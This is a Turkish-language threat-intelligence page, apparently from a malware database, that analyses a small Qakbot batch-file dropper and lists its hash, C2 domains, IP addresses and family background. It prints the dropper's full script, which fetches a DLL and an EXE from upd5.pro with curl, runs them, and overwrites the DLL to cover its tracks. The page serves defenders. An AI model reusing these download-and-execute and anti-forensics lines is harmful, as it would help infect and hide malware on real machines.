Manuel Statik Analiz (LLM Okumali) — Qakbot/Qbot BAT Dropper | Tehdit: KRITIK

Dosya Kimligi

SHA2563b3bd81232f517ba6d65c7838c205b301b0f27572fcfef9e5b86dd30a1d55a0d
FormatWindows Batch Script (.bat)
Boyut326 byte — minimal dropper

Cleartext Batch Script Icerik

echo "-> Loading update 2..."
curl -o 02.dll https://upd5.pro/update/02.dll
rundll32.exe 02.dll,checkit
echo "-> Loading update 2 tool..."
curl -o qd_x86.exe https://upd5.pro/update/qd_x86.exe
qd_x86.exe
type c:\Windows\System32\conhost.exe > 02.dll

Analiz

AdimEylem
1curl ile C2'den 02.dll indir
2rundll32.exe 02.dll,checkit — DLL export checkit ile calistir
3curl ile qd_x86.exe indir ve calistir
4Anti-Forensics: type conhost.exe > 02.dll — DLL'yi mesgru Windows dosyasıyla uzer!

C2 Sunucusu

C2 Domain:  upd5.pro
Payload 1:  https://upd5.pro/update/02.dll   (Qakbot DLL, export: checkit)
Payload 2:  https://upd5.pro/update/qd_x86.exe  (ikinci asama PE)

Qakbot Hakkinda

Qakbot (Qbot), 2007 yilinda baslayan ve 2023 FBI "Operation Duck Hunt" operasyonuyla altyapisi cokutulen bir banking botnet ailesidir. Ransomware operasyonlari icin (Conti, ProLock, Egregor) ilk erisim saglayici olarak yaygin kullanilmistir. Black Basta ve REvil ile calisma gecmisi bulunmaktadir. 2024'te yeniden aktif hale geldigi gozlemlenmistir.

IOC

SHA2563b3bd81232f517ba6d65c7838c205b301b0f27572fcfef9e5b86dd30a1d55a0d
C2 Domainupd5.pro
DLL URLhttps://upd5.pro/update/02.dll (checkit)
EXE URLhttps://upd5.pro/update/qd_x86.exe
Anti-Forensicsconhost.exe ile DLL uzerine yazma

QakBot — Malware Profili

QakBot Quakbot banker. Notesvb.msi delivery. Named pipe IPC. Modular architecture.

Malware Tipi
Other
Programlama Dili
C++
C2 Protokolü
HTTPS
Hedef Sistemler
Windows
Diğer Adlar (AKA)
QBot

Teknik Detaylar

QakBot (Qbot/QuakBot) is a banking trojan and loader active since 2007. Features: credential theft, email hijacking for thread hijacking attacks, lateral movement via SMB/psexec, web injection for banking fraud. Delivered via malspam using hijacked email threads (reply-chain attacks). Modules: email collector, credential grabber, network scanner, VNC plugin. Used to deliver Egregor, ProLock, REvil, Black Basta ransomware. FBI "Operation Duck Hunt" disrupted infrastructure August 2023, removing QakBot from 700,000+ infected machines. Attempted comeback Q4 2023 with new delivery methods.

Atıf / Tehdit Aktörü

Gold Lagoon, TA570 (Shatak)

Yetenekler ve Davranış

Zararlı Yazılım Aktivitesi
Kalıcılık Mekanizması
C2 İletişimi
Anti-Analiz

IOC Listesi (1 gösterge)

IOC — Qakbot
# SHA256 3b3bd81232f517ba6d65c7838c205b301b0f27572fcfef9e5b86dd30a1d55a0d
TürDeğerNot
sha256 3b3bd81232f517ba6d65c7838c205b301b0f27572fcfef9e5b86dd30a1d55a0d

C2 Sunucuları (Bu aile için 8 kayıtlı sunucu)

Adres Tür Port Protokol Durum Ülke
95.217.35.154 ip 443 HTTPS inactive FI
upd5.pro domain 443 HTTPS inactive —
upd5.pro domain 443 HTTPS inactive —
metasta.me domain 443 HTTPS inactive —
upd5.pro domain 443 HTTPS inactive —
amacey.com domain 443 HTTPS inactive —
181.174.165.208 ip 443 HTTPS sinkholed AR
212.117.180.232 ip 443 HTTPS sinkholed CH

C2 adresleri yalnızca KEYDAL ekibinin manuel olarak doğruladığı malware örnekleri üzerinden sunulmaktadır. Ticari amaçla kullanılamaz.

Etiketler
qakbotqbotbat-droppercurlrundll32upd5proconhost-evasioncleartext-c2